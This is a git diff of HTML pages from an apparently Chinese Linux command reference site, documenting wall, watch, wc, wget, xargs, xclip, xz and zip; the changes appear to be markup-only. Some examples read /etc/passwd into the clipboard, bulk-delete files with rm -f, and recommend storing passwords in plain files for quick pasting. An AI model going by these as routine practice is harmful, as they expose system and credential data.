    - - + + \ No newline at end of file diff --git a/c/wall.html b/c/wall.html index 775327f5d1..1424a091f7 100644 --- a/c/wall.html +++ b/c/wall.html @@ -9,7 +9,7 @@ wall 命令,Linux wall 命令详解:向系统当前所有打开的终端上输出信息 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ Broadcast message from root (pts/1) (Fri Dec 20 11:36:51 2013): this is a test line " class="copied">
    - - + + \ No newline at end of file diff --git a/c/watch.html b/c/watch.html index a3b6fa2cef..f1870ec57e 100644 --- a/c/watch.html +++ b/c/watch.html @@ -9,7 +9,7 @@ watch 命令,Linux watch 命令详解:可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令 - Linux 命令搜索引擎 - + @@ -122,10 +122,10 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n # 或--interval  watch缺省每2秒运行一下程序,可以用-n或-interval来指定间隔的时间。
    --d # 或--differences  用-d或--differences 选项watch 会高亮显示变化的区域。 而-d=cumulative选项会把变动过的地方(不管最近的那次有没有变动)都高亮显示出来。
    --t # 或-no-title  会关闭watch命令在顶部的时间间隔,命令,当前时间的输出。
    --h, --help # 查看帮助文档
    +
    -n # 或--interval  watch缺省每2秒运行一下程序,可以用-n或-interval来指定间隔的时间。
    +-d # 或--differences  用-d或--differences 选项watch 会高亮显示变化的区域。 而-d=cumulative选项会把变动过的地方(不管最近的那次有没有变动)都高亮显示出来。
    +-t # 或-no-title  会关闭watch命令在顶部的时间间隔,命令,当前时间的输出。
    +-h, --help # 查看帮助文档
     
    参数

    指令:需要周期性执行的指令。

    实例

    -
    watch -n 1 -d netstat -ant       # 命令:每隔一秒高亮显示网络链接数的变化情况
    -watch -n 1 -d 'pstree|grep http' # 每隔一秒高亮显示http链接数的变化情况。 后面接的命令若带有管道符,需要加''将命令区域归整。
    +
    watch -n 1 -d netstat -ant       # 命令:每隔一秒高亮显示网络链接数的变化情况
    +watch -n 1 -d 'pstree|grep http' # 每隔一秒高亮显示http链接数的变化情况。 后面接的命令若带有管道符,需要加''将命令区域归整。
     watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l' # 实时查看模拟攻击客户机建立起来的连接数
    -watch -d 'ls -l|grep scf'       # 监测当前目录中 scf' 的文件的变化
    -watch -n 10 'cat /proc/loadavg' # 10秒一次输出系统的平均负载
    +watch -d 'ls -l|grep scf'       # 监测当前目录中 scf' 的文件的变化
    +watch -n 10 'cat /proc/loadavg' # 10秒一次输出系统的平均负载
     watch uptime
    -watch -t uptime
    -watch -d -n 1 netstat -ntlp
    -watch -d 'ls -l | fgrep goface'     # 监测goface的文件
    -watch -t -differences=cumulative uptime
    -watch -n 60 from            # 监控mail
    -watch -n 1 "df -i;df"       # 监测磁盘inode和block数目变化情况
    +watch -t uptime
    +watch -d -n 1 netstat -ntlp
    +watch -d 'ls -l | fgrep goface'     # 监测goface的文件
    +watch -t -differences=cumulative uptime
    +watch -n 60 from            # 监控mail
    +watch -n 1 "df -i;df"       # 监测磁盘inode和block数目变化情况
     

    FreeBSD和Linux下watch命令的不同,在Linux下,watch是周期性的执行下个程序,并全屏显示执行结果,如:watch -n 1 -d netstat -ant,而在FreeBSD下的watch命令是查看其它用户的正在运行的操作,watch允许你偷看其它terminal正在做什么,该命令只能让超级用户使用。

    - - + + \ No newline at end of file diff --git a/c/wc.html b/c/wc.html index 6a623534a9..2baf5926d2 100644 --- a/c/wc.html +++ b/c/wc.html @@ -9,7 +9,7 @@ wc 命令,Linux wc 命令详解:统计文件的字节数、字数、行数 - Linux 命令搜索引擎 - + @@ -126,13 +126,13 @@ wc [选项]... [文件]... wc [选项]... --files0-from=F " class="copied">

    选项

    -
    -c # 统计字节数,或--bytes:显示Bytes数。
    --l # 统计行数,或--lines:显示列数。
    --m # 统计字符数,或--chars:显示字符数。
    --w # 统计字数,或--words:显示字数。一个字被定义为由空白、跳格或换行字符分隔的字符串。
    --L # 打印最长行的长度,或--max-line-length。
    --help     # 显示帮助信息。
    ---version # 显示版本信息。
    +
    -c # 统计字节数,或--bytes:显示Bytes数。
    +-l # 统计行数,或--lines:显示列数。
    +-m # 统计字符数,或--chars:显示字符数。
    +-w # 统计字数,或--words:显示字数。一个字被定义为由空白、跳格或换行字符分隔的字符串。
    +-L # 打印最长行的长度,或--max-line-length。
    +-help     # 显示帮助信息。
    +--version # 显示版本信息。
     
    参数

    文件:需要统计的文件列表。

    例子

    -
    wc -l *       # 统计当前目录下的所有文件行数及总计行数。
    -wc -l *.js    # 统计当前目录下的所有 .js 后缀的文件行数及总计行数。
    -find  . * | xargs wc -l # 当前目录以及子目录的所有文件行数及总计行数。
    +
    wc -l *       # 统计当前目录下的所有文件行数及总计行数。
    +wc -l *.js    # 统计当前目录下的所有 .js 后缀的文件行数及总计行数。
    +find  . * | xargs wc -l # 当前目录以及子目录的所有文件行数及总计行数。
     

    用wc命令怎么做到只打印统计数字不打印文件名

    -
    wc -l < test.txt
    +
    wc -l < test.txt
     # 输出结果
     7
     

    用来统计当前目录下的文件数(不包含隐藏文件)

    # 要去除TOTAL行
    -expr $(ls -l | wc -l) - 1
    +expr $(ls -l | wc -l) - 1
     # 输出结果
     8
     
    - - + + \ No newline at end of file diff --git a/c/wget.html b/c/wget.html index 8bc5c08a80..6bafb91b1d 100644 --- a/c/wget.html +++ b/c/wget.html @@ -9,7 +9,7 @@ wget 命令,Linux wget 命令详解:Linux系统下载文件工具 - Linux 命令搜索引擎 - + @@ -157,7 +157,7 @@ customElements.define('markdown-style', MarkdownStyle); –-bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用) -t, –-tries=NUMBER 设定最大尝试链接次数(0 表示无限制). --O –-output-document=FILE 把文档写到FILE文件中 +-O –-output-document=FILE 把文档写到FILE文件中 -nc, –-no-clobber 不要覆盖存在的文件或使用.#前缀 -c, –-continue 接着下载没下载完的文件 –progress=TYPE 设定进程条标记 @@ -174,7 +174,7 @@ customElements.define('markdown-style', MarkdownStyle); 目录参数: --nd –-no-directories 不创建目录 +-nd –-no-directories 不创建目录 -x, –-force-directories 强制创建目录 -nH, –-no-host-directories 不创建主机目录 -P, –-directory-prefix=PREFIX 将文件保存到目录 PREFIX/… @@ -213,7 +213,7 @@ customElements.define('markdown-style', MarkdownStyle);–-delete-after 在现在完毕后局部删除文件 -k, –-convert-links 转换非相对链接为相对链接 -K, –-backup-converted 在转换文件X之前,将之备份为 X.orig --m, –-mirror 等价于 -r -N -l inf -nr +-m, –-mirror 等价于 -r -N -l inf -nr -p, –-page-requisites 下载显示HTML文件的所有图片 递归下载中的包含和不包含(accept/reject): @@ -230,7 +230,7 @@ customElements.define('markdown-style', MarkdownStyle);-I, –-include-directories=LIST 允许目录的列表 -X, –-exclude-directories=LIST 不被包含目录的列表 -np, –-no-parent 不要追溯到父目录 -wget -S –-spider url 不下载只显示过程 +wget -S –-spider url 不下载只显示过程

    以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

    下载并以不同的文件名保存

    -
    wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
    +
    wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
     

    wget默认会以最后一个符合/的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

    @@ -351,7 +351,7 @@ wget -S –-spider url 不下载只显示过程 " class="copied">

    即使下载的文件是zip格式,它仍然以download.php?id=1080命名。

    正确:为了解决这个问题,我们可以使用参数-O来指定一个文件名:

    -
    wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
    +
    wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
     

    wget限速下载

    @@ -360,12 +360,12 @@ wget -S –-spider url 不下载只显示过程 " class="copied">

    当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

    使用wget断点续传

    -
    wget -c http://www.jsdig.com/testfile.zip
    +
    wget -c http://www.jsdig.com/testfile.zip
     

    使用wget -c重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。

    使用wget后台下载

    -
    wget -b http://www.jsdig.com/testfile.zip
    +
    wget -b http://www.jsdig.com/testfile.zip
     
     Continuing in background, pid 1840.
     Output will be written to 'wget-log'.
    @@ -375,7 +375,7 @@ Continuing in background, pid 1840.
     Output will be written to 'wget-log'.
     " class="copied">

    对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载,你可以使用以下命令来察看下载进度:

    -
    tail -f wget-log
    +
    tail -f wget-log
     

    伪装代理名称下载

    @@ -385,7 +385,7 @@ Output will be written to 'wget-log'.

    有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过--user-agent参数伪装。

    测试下载链接

    当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加--spider参数进行检查。

    -
    wget --spider URL
    +
    wget --spider URL
     

    如果下载链接正确,将会显示:

    @@ -401,7 +401,7 @@ Remote file exists and could contain further links, but recursion is disabled -- not retrieving. " class="copied">

    这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:

    -
    wget --spider url
    +
    wget --spider url
     Spider mode enabled. Check if remote file exists.
     HTTP request sent, awaiting response... 404 Not Found
     Remote file does not exist -- broken link!!!
    @@ -417,12 +417,12 @@ Remote file does not exist -- broken link!!!
       
  • 检查网站页面的死链接
  • 增加重试次数

    -
    wget --tries=40 URL
    +
    wget --tries=40 URL
     

    如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用--tries增加重试次数。

    下载多个文件

    -
    wget -i filelist.txt
    +
    wget -i filelist.txt
     

    首先,保存一份下载链接文件:

    @@ -439,7 +439,7 @@ url4 " class="copied">

    接着使用这个文件和参数-i下载。

    镜像网站

    -
    wget --mirror -p --convert-links -P ./LOCAL URL
    +
    wget --mirror -p --convert-links -P ./LOCAL URL
     

    下载整个网站到本地。

    @@ -450,22 +450,22 @@ url4
  • -P ./LOCAL保存所有文件和目录到本地指定目录。
  • 过滤指定格式下载

    -
    wget --reject=gif ur
    +
    wget --reject=gif ur
     

    下载一个网站,但你不希望下载图片,可以使用这条命令。

    把下载信息存入日志文件

    -
    wget -o download.log URL
    +
    wget -o download.log URL
     

    不希望下载信息直接显示在终端而是在一个日志文件,可以使用。

    限制总下载文件大小

    -
    wget -Q5m -i filelist.txt
    +
    wget -Q5m -i filelist.txt
     

    当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

    下载指定格式文件

    -
    wget -r -A.pdf url
    +
    wget -r -A.pdf url
     

    可以在以下情况使用该功能:

    @@ -489,7 +489,7 @@ wget --ftp-user=USERNAME --ftp-password=PASSWORD url
    wget --ftp-user=USERNAME --ftp-password=PASSWORD url
     
    - - + + \ No newline at end of file diff --git a/c/whatis.html b/c/whatis.html index 1e05224643..2b1c779fc7 100644 --- a/c/whatis.html +++ b/c/whatis.html @@ -9,7 +9,7 @@ whatis 命令,Linux whatis 命令详解:查询一个命令执行什么功能 - Linux 命令搜索引擎 - + @@ -166,7 +166,7 @@ man (rpm) - A set of documentation tools: man, apropos and whati man-pages (rpm) - Man (manual) pages from the Linux Documentation Project. man.config [man] (5) - configuration data for man " class="copied">
    - - + + \ No newline at end of file diff --git a/c/whereis.html b/c/whereis.html index 0a6e6de176..d19d409e29 100644 --- a/c/whereis.html +++ b/c/whereis.html @@ -9,7 +9,7 @@ whereis 命令,Linux whereis 命令详解:查找二进制程序、代码等相关文件路径 - Linux 命令搜索引擎 - + @@ -176,7 +176,7 @@ svn: /usr/share/man/man1/svn.1.gz svn: " class="copied">

    说明:whereis -m svn查出说明文档路径,whereis -s svn找source源文件。

    - - + + \ No newline at end of file diff --git a/c/which.html b/c/which.html index 41e8c7a5d8..9f318e8598 100644 --- a/c/which.html +++ b/c/which.html @@ -9,7 +9,7 @@ which 命令,Linux which 命令详解:查找并显示给定命令的绝对路径 - Linux 命令搜索引擎 - + @@ -154,7 +154,7 @@ customElements.define('markdown-style', MarkdownStyle);

    cd 这个常用的命令竟然找不到啊!为什么呢?这是因为 cd 是bash 内建的命令! 但是 which 默认是找 PATH 内所规范的目录,所以当然一定找不到的!

    - - + + \ No newline at end of file diff --git a/c/who.html b/c/who.html index 22b8b792e1..714783a6c6 100644 --- a/c/who.html +++ b/c/who.html @@ -9,7 +9,7 @@ who 命令,Linux who 命令详解:显示当前所有登陆用户的信息。 - Linux 命令搜索引擎 - + @@ -125,24 +125,24 @@ customElements.define('markdown-style', MarkdownStyle);当用户执行 who am i 时,只显示运行该命令的用户的信息。

    选项

    -
    -a, --all                                等价于调用 '-b -d --login -p -r -t -T -u'。
    --b, --boot                               上次系统启动的时间。
    --d, --dead                               打印 dead 状态的进程。
    --H, --heading                            打印列标题行。
    --l, --login                              打印系统登录进程。
    ---lookup                                 尝试通过 DNS 规范主机名。
    --m                                       仅显示和标准输入关联的主机名和用户。
    --p, --process                            打印由 init 生成的活动进程。
    --q, --count                              列出所有已登录的用户的名称和数量。
    --r, --runlevel                           打印当前运行级别。
    --s, --short                              仅打印名称、行和时间(默认)。
    --t, --time                               打印上次系统时钟更改。
    --T, -w, --mesg, --message, --writable    将 '+、-、?' 中的一个作为用户的消息状态添加到用户名称后面。
    --u, --users                              列出登录的用户。
    ---help                                   显示帮助信息并退出。
    ---version                                显示版本信息并退出。
    +
    -a, --all                                等价于调用 '-b -d --login -p -r -t -T -u'。
    +-b, --boot                               上次系统启动的时间。
    +-d, --dead                               打印 dead 状态的进程。
    +-H, --heading                            打印列标题行。
    +-l, --login                              打印系统登录进程。
    +--lookup                                 尝试通过 DNS 规范主机名。
    +-m                                       仅显示和标准输入关联的主机名和用户。
    +-p, --process                            打印由 init 生成的活动进程。
    +-q, --count                              列出所有已登录的用户的名称和数量。
    +-r, --runlevel                           打印当前运行级别。
    +-s, --short                              仅打印名称、行和时间(默认)。
    +-t, --time                               打印上次系统时钟更改。
    +-T, -w, --mesg, --message, --writable'+、-、?' 中的一个作为用户的消息状态添加到用户名称后面。
    +-u, --users                              列出登录的用户。
    +--help                                   显示帮助信息并退出。
    +--version                                显示版本信息并退出。
     
    -关于 -T 选项的 '+、-、?':
    +关于 -T 选项的 '+、-、?''+'  允许写入信息
     '-'  禁止写入信息
     '?'  不能查找到终端设备
    @@ -210,7 +210,7 @@ root     + pts/1        2013-12-20 10:37 (180.111.155.40)
     
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 whoinfo coreutils 'who invocation'
    - - + + \ No newline at end of file diff --git a/c/whoami.html b/c/whoami.html index c0d14d519a..afa0b1b95c 100644 --- a/c/whoami.html +++ b/c/whoami.html @@ -9,7 +9,7 @@ whoami 命令,Linux whoami 命令详解:打印当前有效的用户ID对应的名称 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);打印当前有效的用户ID对应的名称。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -143,7 +143,7 @@ root
  • 注意区分 whoamilogname 这两个命令;比如我们以用户 root 打开的终端,然后切换到了用户 user2。此时, whoami返回的是当前用户 user2, logname 返回的是 root,大家可以自行实践验证一下。
  • 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 whoamiinfo coreutils 'whoami invocation'
  • - - + + \ No newline at end of file diff --git a/c/write.html b/c/write.html index e235e489f5..7ef598d433 100644 --- a/c/write.html +++ b/c/write.html @@ -9,7 +9,7 @@ write 命令,Linux write 命令详解:向指定登录用户终端上发送信息 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);

    接下来就是将信息打上去,结束请Ctrl+C:

    若对方设定mesg n,则此时信息将无法传给对方。

    - - + + \ No newline at end of file diff --git a/c/xargs.html b/c/xargs.html index c95326fb3a..6de3481f13 100644 --- a/c/xargs.html +++ b/c/xargs.html @@ -9,7 +9,7 @@ xargs 命令,Linux xargs 命令详解:给其他命令传递参数的一个过滤器 - Linux 命令搜索引擎 - + @@ -145,7 +145,7 @@ a b c d e f g h i j k l m n o p q r s t u v w x y z " class="copied">

    使用 -n 进行多行输出

    -n 选项 多行输出:

    -
    cat test.txt | xargs -n3
    +
    cat test.txt | xargs -n3
     
     a b c
     d e f
    @@ -170,7 +170,7 @@ y z
     " class="copied">

    使用 -d 分割输入

    -d 选项 可以自定义一个定界符:

    -
    echo "nameXnameXnameXname" | xargs -dX
    +
    echo "nameXnameXnameXname" | xargs -dX
     
     name name name name
     

    结合 -n 选项 使用:

    -
    echo "nameXnameXnameXname" | xargs -dX -n2
    +
    echo "nameXnameXnameXname" | xargs -dX -n2
     
     name name
     name name
    @@ -213,11 +213,11 @@ ccc
     " class="copied">

    结合 -I 选项

    xargs 的一个 选项 -I ,使用 -I 指定一个替换字符串{},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次:

    -
    cat arg.txt | xargs -I {} ./sk.sh -p {} -l
    +
    cat arg.txt | xargs -I {} ./sk.sh -p {} -l
     
    --p aaa -l
    --p bbb -l
    --p ccc -l
    +-p aaa -l
    +-p bbb -l
    +-p ccc -l
     

    复制所有图片文件到 /data/images 目录下:

    -
    ls *.jpg | xargs -n1 -I{} cp {} /data/images
    +
    ls *.jpg | xargs -n1 -I{} cp {} /data/images
     

    结合 find 命令使用

    xargs 结合 find 使用

    用 rm 删除太多的文件时候,可能得到一个错误信息:/bin/rm Argument list too long. 用 xargs 去避免这个问题:

    -
    find . -type f -name "*.log" -print0 | xargs -0 rm -f
    +
    find . -type f -name "*.log" -print0 | xargs -0 rm -f
     

    xargs -0 将 \0 作为定界符。

    统计一个源代码目录中所有 php 文件的行数:

    -
    find . -type f -name "*.php" -print0 | xargs -0 wc -l
    +
    find . -type f -name "*.php" -print0 | xargs -0 wc -l
     

    查找所有的 jpg 文件,并且压缩它们:

    -
    find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
    +
    find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
     

    打印出执行的命令

    @@ -284,7 +284,7 @@ one two three

    其他应用

    xargs 其他应用

    假如你有一个文件包含了很多你希望下载的 URL,你能够使用 xargs 下载所有链接:

    -
    cat url-list.txt | xargs wget -c
    +
    cat url-list.txt | xargs wget -c
     

    子 Shell(Subshells)

    @@ -301,7 +301,7 @@ one two three
    IFS=: PATH=/bin unset TERMINFO - set -C + set -C shift 5 COMMAND4 COMMAND5 @@ -331,7 +331,7 @@ COMMAND7 - - + + \ No newline at end of file diff --git a/c/xauth.html b/c/xauth.html index 3bceefdbfa..1740940ce3 100644 --- a/c/xauth.html +++ b/c/xauth.html @@ -9,7 +9,7 @@ xauth 命令,Linux xauth 命令详解:显示和编辑被用于连接X服务器的认证信息 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);remove:删除指定显示设备的授权条目;
  • source:从指定文件读取包含xauth的内容指令。
  • - - + + \ No newline at end of file diff --git a/c/xclip.html b/c/xclip.html index 8cdbed0eaa..c6ee719a28 100644 --- a/c/xclip.html +++ b/c/xclip.html @@ -9,7 +9,7 @@ xclip 命令,Linux xclip 命令详解:管理 X 粘贴板 - Linux 命令搜索引擎 - + @@ -122,11 +122,11 @@ customElements.define('markdown-style', MarkdownStyle);当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨。

    我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具。

    比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了。

    -
    xclip -i /etc/passwd
    +
    xclip -i /etc/passwd
     

    然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的。

    - - + + \ No newline at end of file diff --git a/c/xhost.html b/c/xhost.html index c46154fd96..ea1ab52676 100644 --- a/c/xhost.html +++ b/c/xhost.html @@ -9,7 +9,7 @@ xhost 命令,Linux xhost 命令详解:制哪些X客户端能够在X服务器上显示 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);要在缺省情况下启用远程名称,可以在/etc/X?.hosts文件中定义名称,其中?为启用访问的显示器号。

    例如,显示器jeanne:0可以由使用jeanne的缺省主机名的系统上的/etc/X0.hosts文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号。

    注意:-name参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接)。

    - - + + \ No newline at end of file diff --git a/c/xinit.html b/c/xinit.html index a7f298a96a..cbe96ec004 100644 --- a/c/xinit.html +++ b/c/xinit.html @@ -9,7 +9,7 @@ xinit 命令,Linux xinit 命令详解:是Linux下X-Window系统的初始化程序 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);--:用于区分客户端选项和服务器端选项;
  • 服务器端选项:服务器端选项指令及选项。
  • - - + + \ No newline at end of file diff --git a/c/xlsatoms.html b/c/xlsatoms.html index 8a45a742d8..abdad78239 100644 --- a/c/xlsatoms.html +++ b/c/xlsatoms.html @@ -9,7 +9,7 @@ xlsatoms 命令,Linux xlsatoms 命令详解:列出X服务器内部所有定义的原子成分 - Linux 命令搜索引擎 - + @@ -128,7 +128,7 @@ customElements.define('markdown-style', MarkdownStyle);-name<成分名称>:列出指定的成分;
  • -range<列表范围>:设置成分清单的列表范围。
  • - - + + \ No newline at end of file diff --git a/c/xlsclients.html b/c/xlsclients.html index 61a544b28d..87293c5072 100644 --- a/c/xlsclients.html +++ b/c/xlsclients.html @@ -9,7 +9,7 @@ xlsclients 命令,Linux xlsclients 命令详解:列出显示器中的客户端应用程序 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);:设置显示指令信息的最大长度,单位以字符计算。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/xlsfonts.html b/c/xlsfonts.html index 613b630770..8b85cc563b 100644 --- a/c/xlsfonts.html +++ b/c/xlsfonts.html @@ -9,7 +9,7 @@ xlsfonts 命令,Linux xlsfonts 命令详解:列出X Server使用的字体 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);:设置每列的最大字符数。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/xset.html b/c/xset.html index c729593591..c2cddfab97 100644 --- a/c/xset.html +++ b/c/xset.html @@ -9,7 +9,7 @@ xset 命令,Linux xset 命令详解:设置X-Window系统中的用户爱好的实用工具 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);c:键盘按键声响设置;
  • s:屏幕保护程序设置。
  • - - + + \ No newline at end of file diff --git a/c/xz.html b/c/xz.html index a0e9821bdc..b88b053770 100644 --- a/c/xz.html +++ b/c/xz.html @@ -9,7 +9,7 @@ xz 命令,Linux xz 命令详解:POSIX 平台开发具有高压缩率的工具 - Linux 命令搜索引擎 - + @@ -124,26 +124,26 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -z, --compress    # 强制压缩
    --d, --decompress, --uncompress
    +
    -z, --compress    # 强制压缩
    +-d, --decompress, --uncompress
                       # force decompression
    --t, --test        # 测试压缩文件的完整性
    --l, --list        # 列出有关.xz文件的信息
    --k, --keep        # 保留(不要删除)输入文件
    --f, --force       # 强制覆盖输出文件和(解)压缩链接
    +-t, --test        # 测试压缩文件的完整性
    +-l, --list        # 列出有关.xz文件的信息
    +-k, --keep        # 保留(不要删除)输入文件
    +-f, --force       # 强制覆盖输出文件和(解)压缩链接
     -c, --stdout, --to-stdout
                       # 写入标准输出,不要删除输入文件
    --0 ... -9         # 压缩预设; 默认为6; 取压缩机*和*
    +-0 ... -9         # 压缩预设; 默认为6; 取压缩机*和*
                       # 使用7-9之前解压缩内存使用量考虑在内!
    --e, --extreme     # 尝试通过使用更多的CPU时间来提高压缩比;
    +-e, --extreme     # 尝试通过使用更多的CPU时间来提高压缩比;
                       # 要求不影响解压缩存储器
    --T, --threads=NUM # 最多使用NUM个线程; 默认值为1;  set to 0
    +-T, --threads=NUM # 最多使用NUM个线程; 默认值为1;  set to 0
                       # 设置为0,使用与处理器内核一样多的线程
    --q, --quiet       # 抑制警告; 指定两次以抑制错误
    --v, --verbose     # 冗长; 指定两次更详细
    --h, --help        # 显示这个简洁的帮助并退出
    +-q, --quiet       # 抑制警告; 指定两次以抑制错误
    +-v, --verbose     # 冗长; 指定两次更详细
    +-h, --help        # 显示这个简洁的帮助并退出
     -H, --long-help   # 显示更多帮助(还列出了高级选项)
    --V, --version     # 显示版本号并退出
    +-V, --version     # 显示版本号并退出
     

    解压 test.txt.xz 文件,并使用参数 -k 保持原文件不被删除

    -
    $ xz -d -k test.txt.xz
    +
    $ xz -d -k test.txt.xz
     $ ls test.txt*
     
     test.txt.xz test.txt
    @@ -192,7 +192,7 @@ $ ls test.txt*
     test.txt.xz test.txt
     " class="copied">

    使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。

    -
    xz -l index.txt.xz
    +
    xz -l index.txt.xz
     # Strms  Blocks   Compressed Uncompressed  Ratio  Check   Filename
     #    1       1        768 B      1,240 B  0.619  CRC64   index.txt.
     

    使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。

    -
    $ xz -k7 xz_pipe_decomp_mini.c
    -$ xz -k --fast xz_pipe_decomp_mini.c
    +
    $ xz -k7 xz_pipe_decomp_mini.c
    +$ xz -k --fast xz_pipe_decomp_mini.c
     

    使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。

    -
    $ xz -H  | more
    +
    $ xz -H  | more
     

    借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。

    # 运行此命令须有 root 权限。
    -find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1
    +find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1
     
    - - + + \ No newline at end of file diff --git a/c/yes.html b/c/yes.html index 81cde99974..25830bf2ad 100644 --- a/c/yes.html +++ b/c/yes.html @@ -9,7 +9,7 @@ yes 命令,Linux yes 命令详解:重复打印指定字符串 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ testline testline ...一直重复打印 testline,按Ctrl+C结束。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ypdomainname.html b/c/ypdomainname.html index 9bbe04f386..fd1632aeed 100644 --- a/c/ypdomainname.html +++ b/c/ypdomainname.html @@ -9,7 +9,7 @@ ypdomainname 命令,Linux ypdomainname 命令详解:显示主机的NIS的域名 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);-v:详细信息模式。
    - - + + \ No newline at end of file diff --git a/c/yum.html b/c/yum.html index 8067d53b27..333ac14e98 100644 --- a/c/yum.html +++ b/c/yum.html @@ -9,7 +9,7 @@ yum 命令,Linux yum 命令详解:基于RPM的软件包管理器 - Linux 命令搜索引擎 - + @@ -269,7 +269,7 @@ LANG=C # 原始语言 LANG=zh_CN.utf8 # 切换到中文 yum groupinstall "Chinese Support" # 添加中文语言支持 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/zcat.html b/c/zcat.html index f67abee65e..e14d446123 100644 --- a/c/zcat.html +++ b/c/zcat.html @@ -9,7 +9,7 @@ zcat 命令,Linux zcat 命令详解:显示压缩包中文件的内容 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要显示其中文件内容的压缩包。

    - - + + \ No newline at end of file diff --git a/c/zfore.html b/c/zfore.html index 889fc50ac8..42ee70fa6e 100644 --- a/c/zfore.html +++ b/c/zfore.html @@ -9,7 +9,7 @@ zfore 命令,Linux zfore 命令详解:强制为gzip格式的压缩文件添加.gz后缀 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件列表:指定要添加“.gz”后缀的gzip压缩文件。

    - - + + \ No newline at end of file diff --git a/c/zip.html b/c/zip.html index f6c3b8d433..5e4538bb1a 100644 --- a/c/zip.html +++ b/c/zip.html @@ -9,7 +9,7 @@ zip 命令,Linux zip 命令详解:可以用来解压缩文件 - Linux 命令搜索引擎 - + @@ -198,19 +198,19 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    /home/Blinux/html/这个目录下所有文件和文件夹打包为当前目录下的html.zip:

    -
    zip -q -r html.zip /home/Blinux/html
    +
    zip -q -r html.zip /home/Blinux/html
     

